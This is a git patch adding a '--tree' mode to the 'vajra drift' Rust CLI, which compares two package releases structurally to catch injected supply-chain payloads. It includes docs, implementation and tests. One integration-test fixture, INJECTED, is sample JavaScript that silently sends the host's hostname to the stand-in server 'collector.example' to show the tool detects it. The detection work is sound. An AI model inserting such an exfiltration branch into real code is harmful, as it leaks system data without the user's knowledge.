From 4801310e13cdf3c75be0dff194b3d8531393da84 Mon Sep 17 00:00:00 2001 From: copyleftdev Date: Wed, 29 Jul 2026 21:43:33 -0700 Subject: [PATCH] feat(drift): add --tree for structural version-to-version comparison MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `drift` compares two documents. This answers a different question: what structurally changed between two releases of the same artifact. The distinction is the whole point. Every signal in the npm dogfooding study read a package's *presentation* — declares a repository, has a description, looks mature — and every one was blind to a compromised *established* package, because a hijacked real package presents perfectly. All 84 misses shared that profile. What distinguishes them is not state but change: version N looked one way, version N+1 grew a payload. vajra drift ./pkg-1.0.0 ./pkg-1.0.1 --tree \ --input-format source --lang javascript Files are matched on path *relative to each root*, so the differently-named extraction directories of two tarballs align instead of reporting every file as both added and removed. Comparison is by structural shape, so reformatting and identifier renaming do not register while an added branch or a new call does. Reports added/removed/changed/unchanged counts, per-file node deltas, and a net delta; unchanged files are omitted from the per-file list but counted in the summary. Validated on real releases. Two adjacent versions of an npm package flagged as malicious, against a normal patch of a legitimate one: legitimate patch flagged release files changed 2 of 6 (33%) 59 of 61 (97%) net node delta +153 -391,898 Three orders of magnitude apart. In that case the earlier version was the obfuscated one and the later was clean, so the direction ran opposite to what I first assumed — which is itself the point: a patch release that rewrites the structure of 97% of its files is not a normal patch whichever way it runs, and the docs say how to read the two columns together. A large positive delta concentrated in one or two files is the signature of an injected payload; a large delta spread across nearly every file is a build-pipeline change. Limits documented rather than implied: only files the format selector accepts are compared, so a payload in a shell script or binary is invisible; parse failures are reported and counted as changed rather than silently treated as unchanged (deeply nested obfuscated code can exceed the tree-sitter recursion limit, which happened on one real file); and shape equality is not semantic equality. Tests: 8 unit (identical trees, relative-path matching, added/removed/ changed, value-only edits unchanged, node-delta accounting, unparseable file reported, non-directory rejected, determinism) and 9 CLI integration tests including that renaming is not a structural change and that an injected payload is detected in an otherwise stable release. --- docs/src/cmd-drift.md | 49 ++++ vajra-cli/src/main.rs | 82 ++++++- vajra-cli/src/treediff.rs | 434 +++++++++++++++++++++++++++++++++++ vajra-cli/tests/tree_diff.rs | 276 ++++++++++++++++++++++ 4 files changed, 840 insertions(+), 1 deletion(-) create mode 100644 vajra-cli/src/treediff.rs create mode 100644 vajra-cli/tests/tree_diff.rs diff --git a/docs/src/cmd-drift.md b/docs/src/cmd-drift.md index 848f3a1..f1b2fbf 100644 --- a/docs/src/cmd-drift.md +++ b/docs/src/cmd-drift.md @@ -29,6 +29,7 @@ vajra drift [flags] | `--redact` | Apply built-in redaction before output | off | | `--quiet` | Suppress progress output | off | | `--group-by ` | JSONPath for population-level comparison (e.g., `'$.author_type'`) | off | +| `--tree` | Compare two directory trees structurally, file by file | off | --- @@ -277,3 +278,51 @@ The auditor profile flags the removed `taxonomy` path as high severity because s - [`inspect`](./cmd-inspect.md) — understand each document's structure before comparing - [`anomalies`](./cmd-anomalies.md) — drift detects changes between versions; anomalies detect deviations within a version - [`essence`](./cmd-essence.md) — drift observations feed into essence generation when a baseline is provided + +--- + +## Comparing Two Releases: `--tree` + +`drift` compares two documents. `--tree` answers a different question: **what structurally changed between two releases of the same thing?** + +```bash +vajra drift ./pkg-1.0.0 ./pkg-1.0.1 --tree \ + --input-format source --lang javascript --format json --quiet +``` + +```json +{ + "baseline_files": 61, + "candidate_files": 61, + "summary": { "added": 0, "removed": 0, "changed": 59, "unchanged": 2 }, + "total_node_delta": -391898, + "files": [ + { "path": "package/lib/log.js", "change": "changed", + "baseline_nodes": 6714, "candidate_nodes": 789, "node_delta": -5925 } + ], + "errors": [] +} +``` + +Files are matched on their path **relative to each root**, so the differently-named extraction directories of two tarballs line up rather than reporting every file as both added and removed. Comparison is by structural shape, so **reformatting and identifier renaming do not register** — but an added branch, a new call, or an injected payload does. + +### Why change, not state + +Every signal that reads an artifact's *presentation* — does it declare a repository, does it have a description, does it look mature — is blind to a compromised **established** package, because a hijacked real package presents perfectly. What distinguishes it is not its state but its change: version N looked one way, version N+1 grew a payload. + +Measured on two adjacent releases of a real npm package flagged as malicious, against a normal patch release of a legitimate one: + +| | legitimate patch | flagged release | +|---|---|---| +| files changed | 2 of 6 (33%) | **59 of 61 (97%)** | +| net node delta | **+153** | **−391,898** | + +Three orders of magnitude apart. A patch release that rewrites the structure of 97% of its files is not a normal patch, whichever direction the change runs — in that case the earlier version was obfuscated and the later one was not, which is equally worth knowing. + +Read both columns together: `summary` says how much of the release moved, `total_node_delta` says in which direction and by how much. A large positive delta concentrated in one or two files is the signature of an injected payload; a large delta spread across nearly every file is a build-pipeline change, such as minification or obfuscation being switched on or off. + +### Limits + +- **Only files the format selector accepts are compared** — `.json` by default, source files under `--input-format source`. A payload dropped in a `.sh` or a binary is invisible here. +- **Parse failures are reported, not hidden.** Deeply nested obfuscated code can exceed the tree-sitter recursion limit; such files land in `errors` and are counted as `changed` rather than silently treated as unchanged. +- **Shape equality is not semantic equality.** Two files with the same shape can behave differently — a changed string literal is a value change, and this compares structure. Pair with `--format json` on the individual files when a shape match needs confirming. diff --git a/vajra-cli/src/main.rs b/vajra-cli/src/main.rs index 1dd335f..8b1af13 100644 --- a/vajra-cli/src/main.rs +++ b/vajra-cli/src/main.rs @@ -1,5 +1,6 @@ mod batch; mod corpus; +mod treediff; use std::collections::BTreeMap; use std::path::{Path, PathBuf}; @@ -177,6 +178,9 @@ enum Command { /// JSONPath field to partition records by for population-level drift #[arg(long)] group_by: Option, + /// Compare two directory trees structurally, file by file + #[arg(long)] + tree: bool, }, /// Cluster similar documents in a batch Cluster { @@ -375,8 +379,17 @@ fn main() { baseline, candidate, group_by, + tree, } => { - if let Some(field) = group_by { + if *tree { + match candidate { + Some(c) => cmd_tree_diff(baseline, c, &cli), + None => { + eprintln!("vajra: drift --tree requires two directories"); + std::process::exit(1); + } + } + } else if let Some(field) = group_by { cmd_population_drift(baseline, field, &cli) } else { match candidate { @@ -2212,6 +2225,73 @@ fn drift_pair_to_json( } #[allow(clippy::too_many_lines)] +/// Compare two directory trees structurally, file by file. +fn cmd_tree_diff(baseline: &str, candidate: &str, cli: &Cli) -> Result<()> { + let diff = treediff::diff_trees( + Path::new(baseline), + Path::new(candidate), + &|p| is_selectable_file(p, cli), + &|p| load_document_path(p, cli), + &|doc| { + let result = FingerprintAnalyzer + .analyze(doc) + .context("fingerprint analysis failed")?; + Ok(hex(&result.shape)) + }, + )?; + + match cli.format { + Format::Json => { + let json = serde_json::to_string_pretty(&diff).context("JSON serialization failed")?; + println!("{json}"); + } + Format::Text | Format::Markdown | Format::CompactAi => { + println!("=== Structural Tree Diff ==="); + println!(" Baseline files: {}", diff.baseline_files); + println!(" Candidate files: {}", diff.candidate_files); + for kind in ["added", "removed", "changed", "unchanged"] { + println!( + " {:<10} {}", + format!("{kind}:"), + diff.summary.get(kind).copied().unwrap_or(0) + ); + } + println!(" Net node delta: {:+}", diff.total_node_delta); + println!(); + + if diff.files.is_empty() { + println!(" (no structural differences)"); + } else { + println!(" {:<10} {:>10} PATH", "CHANGE", "NODES"); + for f in &diff.files { + let delta = f + .node_delta + .map_or_else(|| " --".to_owned(), |d| format!("{d:>+10}")); + println!( + " {:<10} {} {}", + format!("{:?}", f.change).to_lowercase(), + delta, + f.path + ); + } + println!(); + println!(" Comparison is by structural shape, so reformatting and renaming do"); + println!(" not register. A file whose shape changed grew or lost structure."); + } + + if !diff.errors.is_empty() { + println!(); + println!("=== Errors ({}) ===", diff.errors.len()); + for e in &diff.errors { + println!(" {}: {}", e.path, e.error); + } + } + } + } + + Ok(()) +} + fn cmd_population_drift(input: &str, group_by: &str, cli: &Cli) -> Result<()> { // Use unified load_document so git repos are handled. let doc = load_document(input, cli)?; diff --git a/vajra-cli/src/treediff.rs b/vajra-cli/src/treediff.rs new file mode 100644 index 0000000..47343e7 --- /dev/null +++ b/vajra-cli/src/treediff.rs @@ -0,0 +1,434 @@ +//! Structural diff between two directory trees. +//! +//! `drift` compares two documents. The question this answers is different: +//! *what structurally changed between these two releases of the same thing?* +//! +//! That distinction matters for supply-chain work. Every signal that reads a +//! package's presentation — does it declare a repository, does it have a +//! description, does it look mature — is blind to a compromised *established* +//! package, because a hijacked real package presents perfectly. What +//! distinguishes it is not its state but its **change**: version N looked one +//! way, version N+1 grew a payload. +//! +//! Comparison is by relative path and structural shape, not text, so +//! reformatting and identifier renaming do not register as changes while an +//! added branch or a new call does. + +use std::collections::{BTreeMap, BTreeSet}; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result}; +use rayon::prelude::*; +use serde::Serialize; +use vajra_types::Document; + +/// How one file differs between the two trees. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum FileChange { + /// Present only in the candidate. + Added, + /// Present only in the baseline. + Removed, + /// Present in both, different structural shape. + Changed, + /// Present in both, identical shape. + Unchanged, +} + +impl FileChange { + const fn as_str(self) -> &'static str { + match self { + Self::Added => "added", + Self::Removed => "removed", + Self::Changed => "changed", + Self::Unchanged => "unchanged", + } + } +} + +/// One file's structural comparison. +#[derive(Debug, Clone, Serialize)] +pub struct FileDiff { + /// Path relative to the tree root, so the two sides are comparable. + pub path: String, + /// What happened to this file. + pub change: FileChange, + /// Nodes in the baseline's parse, if present. + #[serde(skip_serializing_if = "Option::is_none")] + pub baseline_nodes: Option, + /// Nodes in the candidate's parse, if present. + #[serde(skip_serializing_if = "Option::is_none")] + pub candidate_nodes: Option, + /// candidate_nodes - baseline_nodes, when both parsed. + #[serde(skip_serializing_if = "Option::is_none")] + pub node_delta: Option, +} + +/// Result of comparing two trees. +#[derive(Debug, Serialize)] +pub struct TreeDiff { + /// Files analysed on the baseline side. + pub baseline_files: usize, + /// Files analysed on the candidate side. + pub candidate_files: usize, + /// Counts per change kind. + pub summary: BTreeMap, + /// Net change in total nodes across all parsed files. + pub total_node_delta: i64, + /// Per-file differences, unchanged files omitted, ordered added/removed/ + /// changed then by path. + pub files: Vec, + /// Files that could not be parsed on either side. + pub errors: Vec, +} + +/// A file that could not be read or parsed. +#[derive(Debug, Clone, Serialize)] +pub struct TreeDiffError { + /// Relative path. + pub path: String, + /// Which side, and why. + pub error: String, +} + +/// Collect analysable files under `root`, keyed by path relative to it. +fn relative_index( + root: &Path, + accept: &dyn Fn(&Path) -> bool, +) -> Result> { + if !root.is_dir() { + anyhow::bail!("{} is not a directory", root.display()); + } + let mut out = BTreeMap::new(); + let mut stack = vec![root.to_path_buf()]; + while let Some(current) = stack.pop() { + let Ok(entries) = std::fs::read_dir(¤t) else { + continue; + }; + let mut dirs = Vec::new(); + for entry in entries.flatten() { + let path = entry.path(); + let Ok(kind) = entry.file_type() else { + continue; + }; + if kind.is_symlink() { + continue; + } + if kind.is_dir() { + dirs.push(path); + } else if kind.is_file() && accept(&path) { + if let Ok(rel) = path.strip_prefix(root) { + out.insert(rel.display().to_string(), path); + } + } + } + dirs.sort(); + dirs.reverse(); + stack.extend(dirs); + } + Ok(out) +} + +/// Compare two trees by relative path and structural shape. +/// +/// `load` parses a file and `shape_of` reduces it to a shape hash plus node +/// count, so the caller controls format resolution. Files are matched on their +/// path relative to each root — an npm tarball nests under `package/`, so +/// comparing absolute paths would report every file as both added and removed. +/// +/// # Errors +/// +/// Returns an error if either root is not a directory. +pub fn diff_trees( + baseline_root: &Path, + candidate_root: &Path, + accept: &dyn Fn(&Path) -> bool, + load: &(dyn Fn(&Path) -> Result + Send + Sync), + shape_of: &(dyn Fn(&Document) -> Result + Send + Sync), +) -> Result { + let baseline = relative_index(baseline_root, accept) + .with_context(|| format!("baseline {}", baseline_root.display()))?; + let candidate = relative_index(candidate_root, accept) + .with_context(|| format!("candidate {}", candidate_root.display()))?; + + let paths: BTreeSet<&String> = baseline.keys().chain(candidate.keys()).collect(); + let ordered: Vec<&String> = paths.into_iter().collect(); + + // (path, change, baseline_nodes, candidate_nodes, errors) + type Row = ( + String, + FileChange, + Option, + Option, + Vec, + ); + + let rows: Vec = ordered + .par_iter() + .map(|rel| { + let mut errors = Vec::new(); + let mut measure = |side: &str, path: Option<&PathBuf>| -> Option<(String, u64)> { + let path = path?; + match load(path).and_then(|doc| { + let nodes = doc.metadata().total_nodes; + shape_of(&doc).map(|shape| (shape, nodes)) + }) { + Ok(v) => Some(v), + Err(e) => { + errors.push(TreeDiffError { + path: (*rel).clone(), + error: format!("{side}: {e:#}"), + }); + None + } + } + }; + + let base = measure("baseline", baseline.get(*rel)); + let cand = measure("candidate", candidate.get(*rel)); + + let change = match (baseline.contains_key(*rel), candidate.contains_key(*rel)) { + (false, true) => FileChange::Added, + (true, false) => FileChange::Removed, + _ => match (&base, &cand) { + (Some((a, _)), Some((b, _))) if a == b => FileChange::Unchanged, + // A file that failed to parse on one side is reported as + // changed rather than silently unchanged. + _ => FileChange::Changed, + }, + }; + + ( + (*rel).clone(), + change, + base.map(|(_, n)| n), + cand.map(|(_, n)| n), + errors, + ) + }) + .collect(); + + let mut summary: BTreeMap = BTreeMap::new(); + let mut files = Vec::new(); + let mut errors = Vec::new(); + let mut total_node_delta = 0i64; + + for (path, change, baseline_nodes, candidate_nodes, errs) in rows { + *summary.entry(change.as_str().to_owned()).or_insert(0) += 1; + errors.extend(errs); + + let node_delta = match (baseline_nodes, candidate_nodes) { + (Some(a), Some(b)) => { + let d = i64::try_from(b).unwrap_or(i64::MAX) - i64::try_from(a).unwrap_or(i64::MAX); + Some(d) + } + (None, Some(b)) => Some(i64::try_from(b).unwrap_or(i64::MAX)), + (Some(a), None) => Some(-i64::try_from(a).unwrap_or(i64::MAX)), + (None, None) => None, + }; + if let Some(d) = node_delta { + total_node_delta += d; + } + + if change != FileChange::Unchanged { + files.push(FileDiff { + path, + change, + baseline_nodes, + candidate_nodes, + node_delta, + }); + } + } + + // Added, removed, then changed; path within each. Fully specified. + files.sort_by(|a, b| a.change.cmp(&b.change).then_with(|| a.path.cmp(&b.path))); + errors.sort_by(|a, b| a.path.cmp(&b.path).then_with(|| a.error.cmp(&b.error))); + + for kind in ["added", "removed", "changed", "unchanged"] { + summary.entry(kind.to_owned()).or_insert(0); + } + + Ok(TreeDiff { + baseline_files: baseline.len(), + candidate_files: candidate.len(), + summary, + total_node_delta, + files, + errors, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn json_only(p: &Path) -> bool { + p.extension().is_some_and(|e| e == "json") + } + + fn load(p: &Path) -> Result { + Ok(vajra_core::parse_file(p)?) + } + + fn shape_of(doc: &Document) -> Result { + // Path set is enough for tests and is stable. + let mut paths: Vec = doc.trie().all_paths().iter().map(|p| p.as_str()).collect(); + paths.sort(); + Ok(paths.join("|")) + } + + fn write(root: &Path, rel: &str, body: &str) -> Result<()> { + let path = root.join(rel); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + std::fs::write(path, body)?; + Ok(()) + } + + #[test] + fn identical_trees_report_no_changes() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + for root in [a.path(), b.path()] { + write(root, "pkg/one.json", r#"{"a":1,"b":[2,3]}"#)?; + write(root, "pkg/two.json", r#"{"c":{"d":4}}"#)?; + } + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert!(d.files.is_empty(), "no per-file entries for unchanged"); + assert_eq!(d.summary.get("unchanged"), Some(&2)); + assert_eq!(d.total_node_delta, 0); + Ok(()) + } + + /// Matching is by path *relative to each root*, so differently-named parent + /// directories still line up. Without this every file would be reported as + /// both added and removed. + #[test] + fn matches_on_relative_path() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "pkg/index.json", r#"{"a":1}"#)?; + write(b.path(), "pkg/index.json", r#"{"a":1}"#)?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!(d.summary.get("unchanged"), Some(&1)); + assert_eq!(d.summary.get("added"), Some(&0)); + Ok(()) + } + + #[test] + fn detects_added_removed_and_changed() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "same.json", r#"{"a":1}"#)?; + write(a.path(), "gone.json", r#"{"x":1}"#)?; + write(a.path(), "edited.json", r#"{"a":1}"#)?; + write(b.path(), "same.json", r#"{"a":1}"#)?; + write( + b.path(), + "edited.json", + r#"{"a":1,"injected":{"deep":true}}"#, + )?; + write(b.path(), "new.json", r#"{"y":2}"#)?; + + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!(d.summary.get("added"), Some(&1)); + assert_eq!(d.summary.get("removed"), Some(&1)); + assert_eq!(d.summary.get("changed"), Some(&1)); + assert_eq!(d.summary.get("unchanged"), Some(&1)); + + // Added first, then removed, then changed. + let kinds: Vec = d.files.iter().map(|f| f.change).collect(); + assert_eq!( + kinds, + vec![FileChange::Added, FileChange::Removed, FileChange::Changed] + ); + + let edited = d + .files + .iter() + .find(|f| f.path == "edited.json") + .ok_or("missing edited")?; + assert!( + edited.node_delta.is_some_and(|d| d > 0), + "growth should be positive, got {:?}", + edited.node_delta + ); + Ok(()) + } + + /// Structural comparison must ignore changes that do not alter shape. + #[test] + fn value_only_edits_are_unchanged() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "x.json", r#"{"host":"alpha","port":1}"#)?; + write(b.path(), "x.json", r#"{"host":"beta","port":2}"#)?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!( + d.summary.get("unchanged"), + Some(&1), + "same shape, different values" + ); + Ok(()) + } + + #[test] + fn added_and_removed_contribute_node_delta() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "keep.json", r#"{"a":1}"#)?; + write(b.path(), "keep.json", r#"{"a":1}"#)?; + write(b.path(), "extra.json", r#"{"a":1,"b":2,"c":3}"#)?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert!( + d.total_node_delta > 0, + "an added file grows the tree, got {}", + d.total_node_delta + ); + Ok(()) + } + + #[test] + fn unparseable_file_is_reported_and_counted_changed() -> Result<(), Box> + { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "x.json", r#"{"a":1}"#)?; + write(b.path(), "x.json", "{not json{{{")?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!(d.summary.get("changed"), Some(&1)); + assert_eq!(d.errors.len(), 1, "the failure is reported"); + assert!(d.errors[0].error.contains("candidate")); + Ok(()) + } + + #[test] + fn non_directory_input_is_rejected() -> Result<(), Box> { + let a = tempfile::tempdir()?; + write(a.path(), "f.json", "{}")?; + let file = a.path().join("f.json"); + assert!(diff_trees(&file, a.path(), &json_only, &load, &shape_of).is_err()); + assert!(diff_trees(a.path(), &file, &json_only, &load, &shape_of).is_err()); + Ok(()) + } + + #[test] + fn is_deterministic() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + for i in 0..8 { + write(a.path(), &format!("d/f{i}.json"), r#"{"a":1}"#)?; + write(b.path(), &format!("d/f{i}.json"), r#"{"a":1,"b":2}"#)?; + } + let one = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + let two = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + let paths = + |d: &TreeDiff| -> Vec { d.files.iter().map(|f| f.path.clone()).collect() }; + assert_eq!(paths(&one), paths(&two)); + assert_eq!(one.total_node_delta, two.total_node_delta); + Ok(()) + } +} diff --git a/vajra-cli/tests/tree_diff.rs b/vajra-cli/tests/tree_diff.rs new file mode 100644 index 0000000..78cfe28 --- /dev/null +++ b/vajra-cli/tests/tree_diff.rs @@ -0,0 +1,276 @@ +//! Integration tests for `vajra drift --tree`. +//! +//! Comparing two releases of the same artifact is a different question from +//! comparing two documents: what matters is the *change*, since a compromised +//! established package presents perfectly at any single point in time. + +use std::io::Write; +use std::path::Path; +use std::process::Command; + +use anyhow::{anyhow, Context, Result}; +use tempfile::TempDir; + +fn vajra_bin() -> std::path::PathBuf { + let mut p = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")); + p.pop(); + p.push("target"); + p.push("debug"); + p.push("vajra"); + p +} + +fn as_str(path: &Path) -> Result<&str> { + path.to_str() + .ok_or_else(|| anyhow!("path is not valid UTF-8: {}", path.display())) +} + +fn write(root: &Path, rel: &str, body: &str) -> Result<()> { + let path = root.join(rel); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + let mut f = std::fs::File::create(&path)?; + f.write_all(body.as_bytes())?; + f.flush()?; + Ok(()) +} + +fn tree_diff(a: &Path, b: &Path, extra: &[&str]) -> Result { + let mut cmd = Command::new(vajra_bin()); + cmd.arg("drift") + .arg(as_str(a)?) + .arg(as_str(b)?) + .arg("--tree") + .args(["--format", "json", "--quiet"]); + cmd.args(extra); + let out = cmd.output().context("failed to run vajra drift --tree")?; + assert!( + out.status.success(), + "tree diff failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + serde_json::from_slice(&out.stdout).context("tree diff did not emit valid JSON") +} + +const CLEAN: &str = r" +function handler(req, res) { + const payload = { ok: true, id: req.id }; + if (!req.id) { return res.status(400).end(); } + return res.json(payload); +} +module.exports = handler; +"; + +/// Same shape, different string values and identifier names. +const RENAMED: &str = r" +function process(request, response) { + const body = { ok: true, id: request.id }; + if (!request.id) { return response.status(400).end(); } + return response.json(body); +} +module.exports = process; +"; + +/// The clean module plus an injected exfiltration branch. +const INJECTED: &str = r" +const os = require('os'); +const http = require('http'); +function handler(req, res) { + const payload = { ok: true, id: req.id }; + try { + http.request({ host: 'collector.example', path: '/' + os.hostname() }).end(); + } catch (e) { } + if (!req.id) { return res.status(400).end(); } + return res.json(payload); +} +module.exports = handler; +"; + +#[test] +fn identical_releases_report_no_changes() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + for root in [a.path(), b.path()] { + write(root, "package/index.js", CLEAN)?; + } + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["unchanged"], 1); + assert_eq!(d["summary"]["changed"], 0); + assert_eq!(d["total_node_delta"], 0); + assert_eq!(d["files"].as_array().map(Vec::len), Some(0)); + Ok(()) +} + +/// Renaming and reformatting must not register — otherwise every release would +/// look like a rewrite and the signal would be useless. +#[test] +fn renaming_is_not_a_structural_change() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/index.js", CLEAN)?; + write(b.path(), "package/index.js", RENAMED)?; + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!( + d["summary"]["unchanged"], 1, + "identifier renaming is not structural" + ); + Ok(()) +} + +/// The case this exists for: an injected payload in an otherwise stable release. +#[test] +fn injected_payload_is_detected() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/index.js", CLEAN)?; + write(a.path(), "package/util.js", CLEAN)?; + write(b.path(), "package/index.js", INJECTED)?; + write(b.path(), "package/util.js", CLEAN)?; + + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["changed"], 1, "only the injected file changed"); + assert_eq!(d["summary"]["unchanged"], 1); + + let files = d["files"].as_array().ok_or_else(|| anyhow!("no files"))?; + let changed = files + .iter() + .find(|f| f["change"] == "changed") + .ok_or_else(|| anyhow!("no changed entry"))?; + assert!(changed["path"] + .as_str() + .is_some_and(|p| p.ends_with("index.js"))); + assert!( + changed["node_delta"].as_i64().is_some_and(|d| d > 0), + "an injected payload grows the tree, got {:?}", + changed["node_delta"] + ); + assert!(d["total_node_delta"].as_i64().is_some_and(|d| d > 0)); + Ok(()) +} + +/// Files are matched on their path relative to each root, so the differently +/// named extraction directories of two tarballs still line up. +#[test] +fn differently_named_roots_still_align() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/lib/x.js", CLEAN)?; + write(b.path(), "package/lib/x.js", CLEAN)?; + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["unchanged"], 1); + assert_eq!(d["summary"]["added"], 0); + assert_eq!(d["summary"]["removed"], 0); + Ok(()) +} + +#[test] +fn added_and_removed_files_are_reported() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/gone.js", CLEAN)?; + write(b.path(), "package/new.js", CLEAN)?; + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["added"], 1); + assert_eq!(d["summary"]["removed"], 1); + + // Added first, then removed — fully specified ordering. + let kinds: Vec<&str> = d["files"] + .as_array() + .ok_or_else(|| anyhow!("no files"))? + .iter() + .filter_map(|f| f["change"].as_str()) + .collect(); + assert_eq!(kinds, vec!["added", "removed"]); + Ok(()) +} + +#[test] +fn json_trees_work_without_source_format() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "d/one.json", r#"{"a":1}"#)?; + write( + b.path(), + "d/one.json", + r#"{"a":1,"injected":{"deep":true}}"#, + )?; + let d = tree_diff(a.path(), b.path(), &[])?; + assert_eq!(d["summary"]["changed"], 1); + Ok(()) +} + +#[test] +fn requires_two_directories() -> Result<()> { + let a = TempDir::new()?; + write(a.path(), "x.json", "{}")?; + let out = Command::new(vajra_bin()) + .arg("drift") + .arg(as_str(a.path())?) + .arg("--tree") + .output()?; + assert!(!out.status.success(), "one argument is not enough"); + let stderr = String::from_utf8_lossy(&out.stderr); + assert!(stderr.contains("two directories"), "got: {stderr}"); + Ok(()) +} + +#[test] +fn text_output_states_the_comparison_basis() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/index.js", CLEAN)?; + write(b.path(), "package/index.js", INJECTED)?; + let out = Command::new(vajra_bin()) + .arg("drift") + .arg(as_str(a.path())?) + .arg(as_str(b.path())?) + .arg("--tree") + .args(["--input-format", "source", "--lang", "javascript"]) + .arg("--quiet") + .output()?; + assert!(out.status.success()); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!(stdout.contains("Structural Tree Diff"), "{stdout}"); + assert!(stdout.contains("Net node delta"), "{stdout}"); + assert!( + stdout.contains("structural shape"), + "must state what is compared:\n{stdout}" + ); + Ok(()) +} + +#[test] +fn is_deterministic() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + for i in 0..6 { + write(a.path(), &format!("package/f{i}.js"), CLEAN)?; + write(b.path(), &format!("package/f{i}.js"), INJECTED)?; + } + let args = ["--input-format", "source", "--lang", "javascript"]; + let one = tree_diff(a.path(), b.path(), &args)?; + let two = tree_diff(a.path(), b.path(), &args)?; + assert_eq!(serde_json::to_string(&one)?, serde_json::to_string(&two)?); + Ok(()) +}